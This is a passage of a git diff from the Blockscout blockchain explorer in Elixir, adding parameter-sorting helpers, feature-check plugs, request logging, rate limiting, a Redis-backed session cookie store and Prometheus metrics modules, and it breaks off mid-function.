:: [{:type, list()}] + def internal_transaction_type_options(%{"type" => type}) do + [type: type |> parse_filter(InternalTransactionType.values()) |> Enum.map(&String.to_existing_atom/1)] + end + + def internal_transaction_type_options(_params), do: [type: []] + + @spec internal_transaction_call_type_options(any()) :: [{:call_type, list()}] + def internal_transaction_call_type_options(%{"call_type" => type}) do + [call_type: type |> parse_filter(InternalTransactionCallType.values()) |> Enum.map(&String.to_existing_atom/1)] + end + + def internal_transaction_call_type_options(_params), do: [call_type: []] + + def method_filter_options(%{"method" => method}) do + [method: parse_method_filter(method)] + end + + def method_filter_options(_params), do: [method: []] + + def parse_filter("[" <> filter, allowed_labels) do + filter + |> String.trim_trailing("]") + |> parse_filter(allowed_labels) + end + + def parse_filter(filter, allowed_labels) when is_binary(filter) do + filter + |> String.split(",") + |> Enum.filter(fn label -> Enum.member?(allowed_labels, label) end) + |> Enum.uniq() + end + + def parse_method_filter("[" <> filter) do + filter + |> String.trim_trailing("]") + |> parse_method_filter() + end + + def parse_method_filter(filter) do + filter + |> String.split(",") + |> Enum.uniq() + end + + def select_block_type(%{"type" => type}) do + case String.downcase(type) do + "uncle" -> + [ + necessity_by_association: %{ + :transactions => :optional, + [miner: [:names, :smart_contract, proxy_implementations_association()]] => :optional, + :nephews => :required, + :rewards => :optional + }, + block_type: "Uncle" + ] + + "reorg" -> + [ + necessity_by_association: %{ + :transactions => :optional, + [miner: [:names, :smart_contract, proxy_implementations_association()]] => :optional, + :rewards => :optional + }, + block_type: "Reorg" + ] + + _ -> + select_block_type(nil) + end + end + + def select_block_type(_), + do: [ + necessity_by_association: %{ + :transactions => :optional, + [miner: [:names, :smart_contract, proxy_implementations_association()]] => :optional, + :rewards => :optional + }, + block_type: "Block" + ] + + @doc """ + Removes redundant parameters from the parameter map used when calling + `next_page_params` function. + + ## Parameters + - `params`: A map of parameter entries. + + ## Returns + - A modified map without redundant parameters needed for `next_page_params` function. + """ + @spec delete_parameters_from_next_page_params(map()) :: map() | nil + def delete_parameters_from_next_page_params(params) when is_map(params) do + params + |> Map.drop([ + :address_hash_param, + :type, + :apikey, + "apikey", + "block_hash_or_number", + "transaction_hash_param", + "address_hash_param", + "type", + "method", + "filter", + "q", + "sort", + "order", + "state_filter", + "l2_block_range_start", + "l2_block_range_end", + "batch_number" + ]) + end + + def delete_parameters_from_next_page_params(_), do: nil + + def current_filter(%{"filter" => language_string}) do + SmartContract.language_string_to_atom() + |> Map.fetch(language_string) + |> case do + {:ok, language} -> [filter: language] + :error -> [] + end + end + + def current_filter(_), do: [] + + def search_query(%{"search" => ""}), do: [] + + def search_query(%{"search" => search_string}) do + [search: search_string] + end + + def search_query(%{"q" => ""}), do: [] + + def search_query(%{"q" => search_string}) do + [search: search_string] + end + + def search_query(_), do: [] + + @spec tokens_sorting(%{required(String.t()) => String.t()}) :: [{:sorting, SortingHelper.sorting_params()}] + def tokens_sorting(%{"sort" => sort_field, "order" => order}) do + [sorting: do_tokens_sorting(sort_field, order)] + end + + def tokens_sorting(_), do: [] + + defp do_tokens_sorting("fiat_value", "asc"), do: [asc_nulls_first: :fiat_value] + defp do_tokens_sorting("fiat_value", "desc"), do: [desc_nulls_last: :fiat_value] + defp do_tokens_sorting("holders_count", "asc"), do: [asc_nulls_first: :holder_count] + defp do_tokens_sorting("holders_count", "desc"), do: [desc_nulls_last: :holder_count] + defp do_tokens_sorting("circulating_market_cap", "asc"), do: [asc_nulls_first: :circulating_market_cap] + defp do_tokens_sorting("circulating_market_cap", "desc"), do: [desc_nulls_last: :circulating_market_cap] + defp do_tokens_sorting(_, _), do: [] + + @spec address_transactions_sorting(%{required(atom()) => String.t()}) :: [ + {:sorting, SortingHelper.sorting_params()} + ] + def address_transactions_sorting(%{sort: sort_field, order: order}) do + [sorting: do_address_transaction_sorting(sort_field, order)] + end + + def address_transactions_sorting(_), do: [] + + defp do_address_transaction_sorting("block_number", "asc"), + do: [ + asc: :block_number, + asc: :index, + asc: :inserted_at, + desc: :hash + ] + + defp do_address_transaction_sorting("block_number", "desc"), + do: [ + desc: :block_number, + desc: :index, + desc: :inserted_at, + asc: :hash + ] + + defp do_address_transaction_sorting("value", "asc"), do: [asc: :value] + defp do_address_transaction_sorting("value", "desc"), do: [desc: :value] + defp do_address_transaction_sorting("fee", "asc"), do: [{:dynamic, :fee, :asc_nulls_first, Transaction.dynamic_fee()}] + + defp do_address_transaction_sorting("fee", "desc"), + do: [{:dynamic, :fee, :desc_nulls_last, Transaction.dynamic_fee()}] + + defp do_address_transaction_sorting(_, _), do: [] + + @spec validators_stability_sorting(%{required(String.t()) => String.t()}) :: [ + {:sorting, SortingHelper.sorting_params()} + ] + def validators_stability_sorting(%{"sort" => sort_field, "order" => order}) do + [sorting: do_validators_stability_sorting(sort_field, order)] + end + + def validators_stability_sorting(_), do: [] + + defp do_validators_stability_sorting("state", "asc"), do: [asc_nulls_first: :state] + defp do_validators_stability_sorting("state", "desc"), do: [desc_nulls_last: :state] + defp do_validators_stability_sorting("address_hash", "asc"), do: [asc_nulls_first: :address_hash] + defp do_validators_stability_sorting("address_hash", "desc"), do: [desc_nulls_last: :address_hash] + defp do_validators_stability_sorting("blocks_validated", "asc"), do: [asc_nulls_first: :blocks_validated] + defp do_validators_stability_sorting("blocks_validated", "desc"), do: [desc_nulls_last: :blocks_validated] + + defp do_validators_stability_sorting(_, _), do: [] + + @spec mud_records_sorting(%{required(String.t()) => String.t()}) :: [ + {:sorting, SortingHelper.sorting_params()} + ] + def mud_records_sorting(%{"sort" => sort_field, "order" => order}) do + [sorting: do_mud_records_sorting(sort_field, order)] + end + + def mud_records_sorting(_), do: [] + + defp do_mud_records_sorting("key_bytes", "asc"), do: [asc_nulls_first: :key_bytes] + defp do_mud_records_sorting("key_bytes", "desc"), do: [desc_nulls_last: :key_bytes] + defp do_mud_records_sorting("key0", "asc"), do: [asc_nulls_first: :key0] + defp do_mud_records_sorting("key0", "desc"), do: [desc_nulls_last: :key0] + defp do_mud_records_sorting("key1", "asc"), do: [asc_nulls_first: :key1] + defp do_mud_records_sorting("key1", "desc"), do: [desc_nulls_last: :key1] + defp do_mud_records_sorting(_, _), do: [] + + @spec validators_blackfort_sorting(%{required(String.t()) => String.t()}) :: [ + {:sorting, SortingHelper.sorting_params()} + ] + def validators_blackfort_sorting(%{"sort" => sort_field, "order" => order}) do + [sorting: do_validators_blackfort_sorting(sort_field, order)] + end + + def validators_blackfort_sorting(_), do: [] + + defp do_validators_blackfort_sorting("address_hash", "asc"), do: [asc_nulls_first: :address_hash] + defp do_validators_blackfort_sorting("address_hash", "desc"), do: [desc_nulls_last: :address_hash] + + defp do_validators_blackfort_sorting(_, _), do: [] + + @doc """ + Generates sorting parameters for addresses list based on query parameters. + + ## Parameters + - params: map containing: + - `"sort"` - field to sort by ("balance" or "transactions_count") + - `"order"` - sort order ("asc" or "desc") + + ## Returns + - List with single sorting parameter tuple when valid sort parameters provided + - Empty list when no valid sort parameters provided + + ## Examples + iex> addresses_sorting(%{"sort" => "balance", "order" => "desc"}) + [sorting: [desc_nulls_last: :fetched_coin_balance]] + + iex> addresses_sorting(%{"sort" => "transactions_count", "order" => "asc"}) + [sorting: [asc_nulls_first: :transactions_count]] + + iex> addresses_sorting(%{}) + [] + """ + @spec addresses_sorting(%{required(String.t()) => String.t()}) :: [ + {:sorting, SortingHelper.sorting_params()} + ] + def addresses_sorting(%{sort: sort_field, order: order}) do + [sorting: do_addresses_sorting(sort_field, order)] + end + + def addresses_sorting(_), do: [] + + defp do_addresses_sorting("balance", "asc"), do: [asc: :fetched_coin_balance] + defp do_addresses_sorting("balance", "desc"), do: [desc: :fetched_coin_balance] + defp do_addresses_sorting("transactions_count", "asc"), do: [asc_nulls_first: :transactions_count] + defp do_addresses_sorting("transactions_count", "desc"), do: [desc_nulls_last: :transactions_count] + defp do_addresses_sorting(_, _), do: [] +end diff --git a/apps/block_scout_web/lib/block_scout_web/plug/admin/check_owner_registered.ex b/apps/block_scout_web/lib/block_scout_web/plug/admin/check_owner_registered.ex index b15fd168f5f2..b1ff8053269b 100644 --- a/apps/block_scout_web/lib/block_scout_web/plug/admin/check_owner_registered.ex +++ b/apps/block_scout_web/lib/block_scout_web/plug/admin/check_owner_registered.ex @@ -9,7 +9,7 @@ defmodule BlockScoutWeb.Plug.Admin.CheckOwnerRegistered do import Phoenix.Controller, only: [redirect: 2] import Plug.Conn - alias BlockScoutWeb.AdminRouter.Helpers, as: AdminRoutes + alias BlockScoutWeb.Routers.AdminRouter.Helpers, as: AdminRoutes alias Explorer.Admin alias Plug.Conn diff --git a/apps/block_scout_web/lib/block_scout_web/plug/admin/require_admin_role.ex b/apps/block_scout_web/lib/block_scout_web/plug/admin/require_admin_role.ex index bd11cd550963..2a70d8a0e0bf 100644 --- a/apps/block_scout_web/lib/block_scout_web/plug/admin/require_admin_role.ex +++ b/apps/block_scout_web/lib/block_scout_web/plug/admin/require_admin_role.ex @@ -7,7 +7,7 @@ defmodule BlockScoutWeb.Plug.Admin.RequireAdminRole do import Phoenix.Controller, only: [redirect: 2] - alias BlockScoutWeb.AdminRouter.Helpers, as: AdminRoutes + alias BlockScoutWeb.Routers.AdminRouter.Helpers, as: AdminRoutes alias Explorer.Admin def init(opts), do: opts diff --git a/apps/block_scout_web/lib/block_scout_web/plug/check_account_api.ex b/apps/block_scout_web/lib/block_scout_web/plug/check_account_api.ex new file mode 100644 index 000000000000..80c5301bce15 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/plug/check_account_api.ex @@ -0,0 +1,21 @@ +defmodule BlockScoutWeb.Plug.CheckAccountAPI do + @moduledoc """ + Checks if the Account functionality enabled for API level. + """ + import Plug.Conn + + alias Explorer.Account + + def init(opts), do: opts + + def call(conn, _opts) do + if Account.enabled?() do + conn + else + conn + |> put_resp_content_type("application/json") + |> send_resp(404, Jason.encode!(%{message: "Account functionality is disabled"})) + |> halt() + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/plug/check_account_web.ex b/apps/block_scout_web/lib/block_scout_web/plug/check_account_web.ex new file mode 100644 index 000000000000..00a3af4e002e --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/plug/check_account_web.ex @@ -0,0 +1,31 @@ +defmodule BlockScoutWeb.Plug.CheckAccountWeb do + @moduledoc """ + Checks if the Account functionality enabled for web interface. + """ + import Phoenix.Controller + alias Phoenix.View + import Plug.Conn + + alias Explorer.Account + + def init(opts), do: opts + + def call(conn, _opts) do + if Account.enabled?() do + conn + else + inner_view = + View.render( + BlockScoutWeb.PageNotFoundView, + "index.html", + token: nil + ) + + conn + |> put_status(404) + |> put_view(BlockScoutWeb.LayoutView) + |> render(:app, inner_content: inner_view) + |> halt() + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/plug/check_api_v2.ex b/apps/block_scout_web/lib/block_scout_web/plug/check_api_v2.ex new file mode 100644 index 000000000000..95269a203932 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/plug/check_api_v2.ex @@ -0,0 +1,21 @@ +defmodule BlockScoutWeb.Plug.CheckApiV2 do + @moduledoc """ + Checks if the API V2 enabled. + """ + import Plug.Conn + + alias BlockScoutWeb.API.V2, as: API_V2 + + def init(opts), do: opts + + def call(conn, _opts) do + if API_V2.enabled?() do + conn + else + conn + |> put_resp_content_type("application/json") + |> send_resp(404, Jason.encode!(%{message: "API V2 is disabled"})) + |> halt() + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/plug/check_chain_type.ex b/apps/block_scout_web/lib/block_scout_web/plug/check_chain_type.ex new file mode 100644 index 000000000000..dc15b3d9ab24 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/plug/check_chain_type.ex @@ -0,0 +1,33 @@ +defmodule BlockScoutWeb.Plug.CheckChainType do + @moduledoc """ + A plug that restricts access to routes based on the current chain type. + """ + + import Plug.Conn + import Phoenix.Controller, only: [put_view: 2, render: 3] + + alias BlockScoutWeb.API.V2.ApiView + + @doc """ + Initializes the plug with the required chain type. + """ + def init(chain_type), do: chain_type + + @doc """ + Checks if the current chain type matches the required chain type. If not, + returns a 404 Not Found response. + """ + def call(conn, required_chain_type) do + current_chain_type = Application.get_env(:explorer, :chain_type) + + if current_chain_type == required_chain_type do + conn + else + conn + |> put_status(:not_found) + |> put_view(ApiView) + |> render(:message, %{message: "Endpoint not available for current chain type"}) + |> halt() + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/plug/check_feature.ex b/apps/block_scout_web/lib/block_scout_web/plug/check_feature.ex new file mode 100644 index 000000000000..f858e4f5f50e --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/plug/check_feature.ex @@ -0,0 +1,71 @@ +defmodule BlockScoutWeb.Plug.CheckFeature do + @moduledoc """ + A configurable plug that conditionally allows access to an endpoint based on + whether a specific feature is enabled. + + ## Options + + * `:feature_check` - (Required) A function that returns a boolean indicating + if the feature is enabled. Must be a 0-arity function or a captured function + with all arguments supplied. + + * `:error_status` - (Optional) The HTTP status code to return when the feature + is disabled. Defaults to 404. + + * `:error_message` - (Optional) The error message to return when the feature + is disabled. Defaults to "Requested endpoint is disabled". + + ## Examples + + ```elixir + # In a router + pipeline :require_api_v2 do + plug BlockScoutWeb.Plug.CheckFeature, feature_check: &ApiV2.enabled?/0 + end + + # In a controller + plug BlockScoutWeb.Plug.CheckFeature, + feature_check: &MyApp.Features.experimental_feature?/0, + error_status: 403, + error_message: "Experimental feature not available" + ``` + + When the feature is disabled, the connection will be halted and a JSON + response with the configured status and message will be rendered. + """ + + import Plug.Conn + import Phoenix.Controller, only: [put_view: 2, render: 3] + + alias BlockScoutWeb.API.V2.ApiView + + @doc false + @spec init(Keyword.t()) :: Keyword.t() + def init(opts) do + unless Keyword.has_key?(opts, :feature_check) do + raise ArgumentError, "CheckFeature plug requires :feature_check option" + end + + opts + |> Keyword.put_new(:error_status, 404) + |> Keyword.put_new(:error_message, "Requested endpoint is disabled") + end + + @doc false + @spec call(Plug.Conn.t(), Keyword.t()) :: Plug.Conn.t() + def call(conn, opts) do + enabled? = Keyword.fetch!(opts, :feature_check) + status = Keyword.fetch!(opts, :error_status) + message = Keyword.fetch!(opts, :error_message) + + if enabled?.() do + conn + else + conn + |> put_status(status) + |> put_view(ApiView) + |> render(:message, %{message: message}) + |> halt() + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/plug/graphql.ex b/apps/block_scout_web/lib/block_scout_web/plug/graphql.ex index e46cbed1badd..6e2a0c5bea22 100644 --- a/apps/block_scout_web/lib/block_scout_web/plug/graphql.ex +++ b/apps/block_scout_web/lib/block_scout_web/plug/graphql.ex @@ -2,10 +2,9 @@ defmodule BlockScoutWeb.Plug.GraphQL do @moduledoc """ Default query for GraphiQL interface. """ - @default_transaction_hash "0x69e3923eef50eada197c3336d546936d0c994211492c9f947a24c02827568f9f" def default_query do - transaction_hash = System.get_env("GRAPHIQL_TRANSACTION") || @default_transaction_hash + transaction_hash = Application.get_env(:block_scout_web, Api.GraphQL)[:default_transaction_hash] "{transaction(hash: \"#{transaction_hash}\") { hash, blockNumber, value, gasUsed }}" end diff --git a/apps/block_scout_web/lib/block_scout_web/plug/graphql_schema_introspection.ex b/apps/block_scout_web/lib/block_scout_web/plug/graphql_schema_introspection.ex new file mode 100644 index 000000000000..be9f8dec0e53 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/plug/graphql_schema_introspection.ex @@ -0,0 +1,34 @@ +defmodule BlockScoutWeb.Plug.GraphQLSchemaIntrospection do + @moduledoc """ + A plug that handles GraphQL introspection queries by returning a pre-computed + schema. + + This plug intercepts GraphQL introspection queries and returns a cached JSON + response of the schema, avoiding the need to recompute the introspection + result for each request. + """ + import Plug.Conn + alias Absinthe.Schema + + @introspection_json BlockScoutWeb.GraphQL.Schema + |> Schema.introspect() + |> (case do + {:ok, data} -> Jason.encode!(data) + {:error, _} -> raise "Failed to introspect schema" + end) + + def init(opts), do: opts + + def call(conn, _opts) do + case conn.params["operationName"] do + "IntrospectionQuery" -> + conn + |> put_resp_content_type("application/json") + |> send_resp(200, @introspection_json) + |> halt() + + _ -> + conn + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/plug/logger.ex b/apps/block_scout_web/lib/block_scout_web/plug/logger.ex new file mode 100644 index 000000000000..b61c9cafe4c6 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/plug/logger.ex @@ -0,0 +1,58 @@ +defmodule BlockScoutWeb.Plug.Logger do + @moduledoc """ + Extended version of Plug.Logger from https://github.com/elixir-plug/plug/blob/v1.14.0/lib/plug/logger.ex + Now it's possible to put parameters in order to log API v2 requests separately from API and others + + Usage example: + `plug(BlockScoutWeb.Plug.Logger, application: :api_v2)` + """ + + require Logger + alias Plug.Conn + @behaviour Plug + + @impl true + def init(opts) do + opts + end + + @impl true + def call(conn, opts) do + level = Keyword.get(opts, :log, :info) + + start = System.monotonic_time() + + Conn.register_before_send(conn, fn conn -> + stop = System.monotonic_time() + diff = System.convert_time_unit(stop - start, :native, :microsecond) + status = Integer.to_string(conn.status) + + Logger.log( + level, + fn -> + [connection_type(conn), ?\s, status, " in ", formatted_diff(diff), " on ", conn.method, ?\s, endpoint(conn)] + end, + Keyword.merge( + [duration: diff, status: status, unit: "microsecond", endpoint: endpoint(conn), method: conn.method], + opts + ) + ) + + conn + end) + end + + defp formatted_diff(diff) when diff > 1000, do: [diff |> div(1000) |> Integer.to_string(), "ms"] + defp formatted_diff(diff), do: [Integer.to_string(diff), "µs"] + + defp connection_type(%{state: :set_chunked}), do: "Chunked" + defp connection_type(_), do: "Sent" + + defp endpoint(conn) do + if conn.query_string do + "#{conn.request_path}?#{conn.query_string}" + else + conn.request_path + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/plug/rate_limit.ex b/apps/block_scout_web/lib/block_scout_web/plug/rate_limit.ex new file mode 100644 index 000000000000..6d01b08d90ff --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/plug/rate_limit.ex @@ -0,0 +1,116 @@ +defmodule BlockScoutWeb.Plug.RateLimit do + @moduledoc """ + Rate limiting + """ + alias BlockScoutWeb.{AccessHelper, RateLimit} + alias Plug.Conn + + def init(opts), do: opts + + def call(conn, _opts) do + config = fetch_rate_limit_config(conn) + + conn + |> handle_call(config) + |> case do + {:deny, _time_to_reset, _limit, _period} = result -> + conn + |> set_rate_limit_headers(result) + |> set_rate_limit_headers_for_frontend(config) + |> AccessHelper.handle_rate_limit_deny(!api_v2?(conn)) + + result -> + conn + |> set_rate_limit_headers(result) + |> set_rate_limit_headers_for_frontend(config) + end + end + + defp set_rate_limit_headers(conn, result) do + case result do + {:allow, -1} -> + conn + |> Conn.put_resp_header("x-ratelimit-limit", "-1") + |> Conn.put_resp_header("x-ratelimit-remaining", "-1") + |> Conn.put_resp_header("x-ratelimit-reset", "-1") + + {:allow, count, limit, period} -> + now = System.system_time(:millisecond) + window = div(now, period) + expires_at = (window + 1) * period + + conn + |> Conn.put_resp_header("x-ratelimit-limit", "#{limit}") + |> Conn.put_resp_header("x-ratelimit-remaining", "#{limit - count}") + |> Conn.put_resp_header("x-ratelimit-reset", "#{expires_at - now}") + + {:deny, time_to_reset, limit, _time_interval} -> + conn + |> Conn.put_resp_header("x-ratelimit-limit", "#{limit}") + |> Conn.put_resp_header("x-ratelimit-remaining", "0") + |> Conn.put_resp_header("x-ratelimit-reset", "#{time_to_reset}") + end + end + + defp set_rate_limit_headers_for_frontend(conn, config) do + user_agent = RateLimit.get_user_agent(conn) + + option = + cond do + config[:recaptcha_to_bypass_429] && user_agent -> "recaptcha" + config[:temporary_token] && user_agent -> "temporary_token" + !is_nil(config) -> "no_bypass" + true -> "no_bypass" + end + + conn + |> Conn.put_resp_header("bypass-429-option", option) + end + + defp handle_call(conn, config) do + if graphql?(conn) do + RateLimit.check_rate_limit_graphql(conn, 1) + else + RateLimit.rate_limit_with_config(conn, config) + end + end + + defp fetch_rate_limit_config(conn) do + request_path = request_path(conn) + config = :persistent_term.get(:rate_limit_config) + + if res = config[:static_match][request_path] do + res + else + find_endpoint_config(config, conn.path_info) || config[:static_match]["default"] + end + end + + defp find_endpoint_config(config, request_path_parts) do + config[:parametrized_match] + |> Enum.find({nil, nil}, fn {key, _config} -> + length(key) == length(request_path_parts) && + key |> Enum.zip(request_path_parts) |> Enum.all?(fn {k, r} -> k == r || k == ":param" end) + end) + |> elem(1) || + config[:wildcard_match] + |> Enum.find({nil, nil}, fn {{key, length}, _config} when is_integer(length) -> + Enum.take(request_path_parts, length) == key + end) + |> elem(1) + end + + defp graphql?(conn) do + request_path = request_path(conn) + request_path == "api/v1/graphql" or request_path == "graphiql" + end + + defp request_path(conn) do + Enum.join(conn.path_info, "/") + end + + defp api_v2?(conn) do + path_part = conn.path_info |> Enum.take(2) + path_part == ["api", "v2"] or path_part == ["api", "account"] + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/plug/redis_cookie.ex b/apps/block_scout_web/lib/block_scout_web/plug/redis_cookie.ex new file mode 100644 index 000000000000..9b42d551d7d1 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/plug/redis_cookie.ex @@ -0,0 +1,232 @@ +defmodule BlockScoutWeb.Plug.RedisCookie do + @moduledoc """ + Extended version of Plug.Session.COOKIE from https://github.com/elixir-plug/plug/blob/main/lib/plug/session/cookie.ex + Added Redis to have a possibility to invalidate session + """ + + require Logger + @behaviour Plug.Session.Store + + import Explorer.ThirdPartyIntegrations.Auth0, only: [cookie_key: 1] + + alias Plug.Crypto + alias Plug.Crypto.{KeyGenerator, MessageEncryptor, MessageVerifier} + + @impl true + def init(opts) do + opts + |> build_opts() + |> build_rotating_opts(opts[:rotating_options]) + |> Map.delete(:secret_key_base) + end + + @impl true + def get(conn, raw_cookie, opts) do + opts = Map.put(opts, :secret_key_base, conn.secret_key_base) + + [opts | opts.rotating_options] + |> Enum.find_value(:error, &read_raw_cookie(raw_cookie, &1)) + |> decode(opts.serializer, opts.log) + |> check_in_redis(raw_cookie) + end + + @impl true + def put(conn, _sid, term, opts) do + %{serializer: serializer, key_opts: key_opts, signing_salt: signing_salt} = opts + binary = encode(term, serializer) + + opts + |> case do + %{encryption_salt: nil} -> + MessageVerifier.sign(binary, derive(conn.secret_key_base, signing_salt, key_opts)) + + %{encryption_salt: encryption_salt} -> + MessageEncryptor.encrypt( + binary, + derive(conn.secret_key_base, encryption_salt, key_opts), + derive(conn.secret_key_base, signing_salt, key_opts) + ) + end + |> store_to_redis() + end + + @impl true + def delete(_conn, sid, _opts) do + remove_from_redis(sid) + :ok + end + + defp encode(term, :external_term_format) do + :erlang.term_to_binary(term) + end + + defp encode(term, serializer) do + {:ok, binary} = serializer.encode(term) + binary + end + + defp decode({:ok, binary}, :external_term_format, log) do + {:term, + try do + Crypto.non_executable_binary_to_term(binary) + rescue + e -> + Logger.log( + log, + "Plug.Session could not decode incoming session cookie. Reason: " <> + Exception.format(:error, e, __STACKTRACE__) + ) + + %{} + end} + end + + defp decode({:ok, binary}, serializer, _log) do + case serializer.decode(binary) do + {:ok, term} -> {:custom, term} + _ -> {:custom, %{}} + end + end + + defp decode(:error, _serializer, false) do + {nil, %{}} + end + + defp decode(:error, _serializer, log) do + Logger.log( + log, + "Plug.Session could not verify incoming session cookie. " <> + "This may happen when the session settings change or a stale cookie is sent." + ) + + {nil, %{}} + end + + defp prederive(secret_key_base, value, key_opts) + when is_binary(secret_key_base) and is_binary(value) do + {:prederived, derive(secret_key_base, value, Keyword.delete(key_opts, :cache))} + end + + defp prederive(_secret_key_base, value, _key_opts) do + value + end + + defp derive(_secret_key_base, {:prederived, value}, _key_opts) do + value + end + + defp derive(secret_key_base, {module, function, args}, key_opts) do + derive(secret_key_base, apply(module, function, args), key_opts) + end + + defp derive(secret_key_base, key, key_opts) do + secret_key_base + |> validate_secret_key_base() + |> KeyGenerator.generate(key, key_opts) + end + + defp validate_secret_key_base(nil), + do: raise(ArgumentError, "cookie store expects conn.secret_key_base to be set") + + defp validate_secret_key_base(secret_key_base) when byte_size(secret_key_base) < 64, + do: raise(ArgumentError, "cookie store expects conn.secret_key_base to be at least 64 bytes") + + defp validate_secret_key_base(secret_key_base), do: secret_key_base + + defp check_signing_salt(opts) do + case opts[:signing_salt] do + nil -> raise ArgumentError, "cookie store expects :signing_salt as option" + salt -> salt + end + end + + defp check_serializer(serializer) when is_atom(serializer), do: serializer + + defp check_serializer(_), + do: raise(ArgumentError, "cookie store expects :serializer option to be a module") + + defp read_raw_cookie(raw_cookie, opts) do + signing_salt = derive(opts.secret_key_base, opts.signing_salt, opts.key_opts) + + opts + |> case do + %{encryption_salt: nil} -> + MessageVerifier.verify(raw_cookie, signing_salt) + + %{encryption_salt: _} -> + encryption_salt = derive(opts.secret_key_base, opts.encryption_salt, opts.key_opts) + + MessageEncryptor.decrypt(raw_cookie, encryption_salt, signing_salt) + end + |> case do + :error -> nil + result -> result + end + end + + defp build_opts(opts) do + encryption_salt = opts[:encryption_salt] + signing_salt = check_signing_salt(opts) + + iterations = Keyword.get(opts, :key_iterations, 1000) + length = Keyword.get(opts, :key_length, 32) + digest = Keyword.get(opts, :key_digest, :sha256) + log = Keyword.get(opts, :log, :debug) + secret_key_base = Keyword.get(opts, :secret_key_base) + key_opts = [iterations: iterations, length: length, digest: digest, cache: Plug.Keys] + + serializer = check_serializer(opts[:serializer] || :external_term_format) + + %{ + secret_key_base: secret_key_base, + encryption_salt: prederive(secret_key_base, encryption_salt, key_opts), + signing_salt: prederive(secret_key_base, signing_salt, key_opts), + key_opts: key_opts, + serializer: serializer, + log: log + } + end + + defp build_rotating_opts(opts, rotating_opts) when is_list(rotating_opts) do + Map.put(opts, :rotating_options, Enum.map(rotating_opts, &build_opts/1)) + end + + defp build_rotating_opts(opts, _), do: Map.put(opts, :rotating_options, []) + + defp store_to_redis(cookie) do + Redix.command(:redix, [ + "SET", + cookie_key(hash(cookie)), + 1, + "EX", + Application.get_env(:block_scout_web, :session_cookie_ttl) + ]) + + cookie + end + + defp remove_from_redis(sid) do + Redix.command(:redix, ["DEL", cookie_key(sid)]) + end + + defp check_in_redis({sid, map}, _cookie) when is_nil(sid) or map == %{}, do: {nil, %{}} + + defp check_in_redis({_sid, session}, cookie) do + hash = hash(cookie) + key = cookie_key(hash) + + case Redix.command(:redix, ["GET", key]) do + {:ok, one} when one in [1, "1"] -> + {hash, session} + + _ -> + {nil, %{}} + end + end + + defp hash(cookie) do + :sha256 + |> :crypto.hash(cookie) + |> Base.encode16() + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/prometheus/instrumenter.ex b/apps/block_scout_web/lib/block_scout_web/prometheus/instrumenter.ex index a782d433bccc..d329c2751a28 100644 --- a/apps/block_scout_web/lib/block_scout_web/prometheus/instrumenter.ex +++ b/apps/block_scout_web/lib/block_scout_web/prometheus/instrumenter.ex @@ -1,16 +1,17 @@ defmodule BlockScoutWeb.Prometheus.Instrumenter do @moduledoc """ - Phoenix request metrics for `Prometheus`. + BlockScoutWeb metrics for `Prometheus`. """ - @dialyzer {:no_match, - [ - phoenix_channel_join: 3, - phoenix_channel_receive: 3, - phoenix_controller_call: 3, - phoenix_controller_render: 3, - setup: 0 - ]} + use Prometheus.Metric - use Prometheus.PhoenixInstrumenter + @gauge [ + name: :event_handler_queue_length, + labels: [:handler], + help: "Number of events in event handlers queue" + ] + + def event_handler_queue_length(handler, length) do + Gauge.set([name: :event_handler_queue_length, labels: [handler]], length) + end end diff --git a/apps/block_scout_web/lib/block_scout_web/prometheus/phoenix_instrumenter.ex b/apps/block_scout_web/lib/block_scout_web/prometheus/phoenix_instrumenter.ex new file mode 100644 index 000000000000..5b25969f3f1b --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/prometheus/phoenix_instrumenter.ex @@ -0,0 +1,16 @@ +defmodule BlockScoutWeb.Prometheus.PhoenixInstrumenter do + @moduledoc """ + Phoenix request metrics for `Prometheus`. + """ + + @dialyzer {:no_match, + [ + phoenix_channel_join: 3, + phoenix_channel_receive: 3, + phoenix_controller_call: 3, + phoenix_controller_render: 3, + setup: 0 + ]} + + use Prometheus.PhoenixInstrumenter +end diff --git a/apps/block_scout_web/lib/block_scout_web/prometheus/public_exporter.ex b/apps/block_scout_web/lib/block_scout_web/prometheus/public_exporter.ex new file mode 100644 index 000000000000..620af0e0f0ff --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/prometheus/public_exporter.ex @@ -0,0 +1,9 @@ +defmodule BlockScoutWeb.Prometheus.PublicExporter do + @moduledoc """ + Exports `Prometheus` metrics at `/public-metrics` + """ + + @dialyzer :no_match + + use Prometheus.PlugExporter +end diff --git a/apps/block_scout_web/lib/block_scout_web/rate_limit.ex b/apps/block_scout_web/lib/block_scout_web/rate_limit.ex new file mode 100644 index 000000000000..1a51936ec24b --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/rate_limit.ex @@ -0,0 +1,384 @@ +defmodule BlockScoutWeb.RateLimit do + @moduledoc """ + Rate limiting + """ + alias BlockScoutWeb.RateLimit.Hammer + alias BlockScoutWeb.{AccessHelper, CaptchaHelper} + alias Explorer.Account.Api.Key, as: ApiKey + alias Plug.Conn + + require Logger + + @doc """ + Checks, if rate limit reached before making a new request. It is applied to GraphQL API. + """ + @spec check_rate_limit_graphql(Plug.Conn.t(), integer()) :: + {:allow, -1} | {:deny, integer(), integer(), integer()} | {:allow, integer(), integer(), integer()} + def check_rate_limit_graphql(conn, multiplier) do + config = Application.get_env(:block_scout_web, Api.GraphQL) + no_rate_limit_api_key = config[:no_rate_limit_api_key] + + cond do + config[:rate_limit_disabled?] -> + {:allow, -1} + + check_no_rate_limit_api_key(conn, 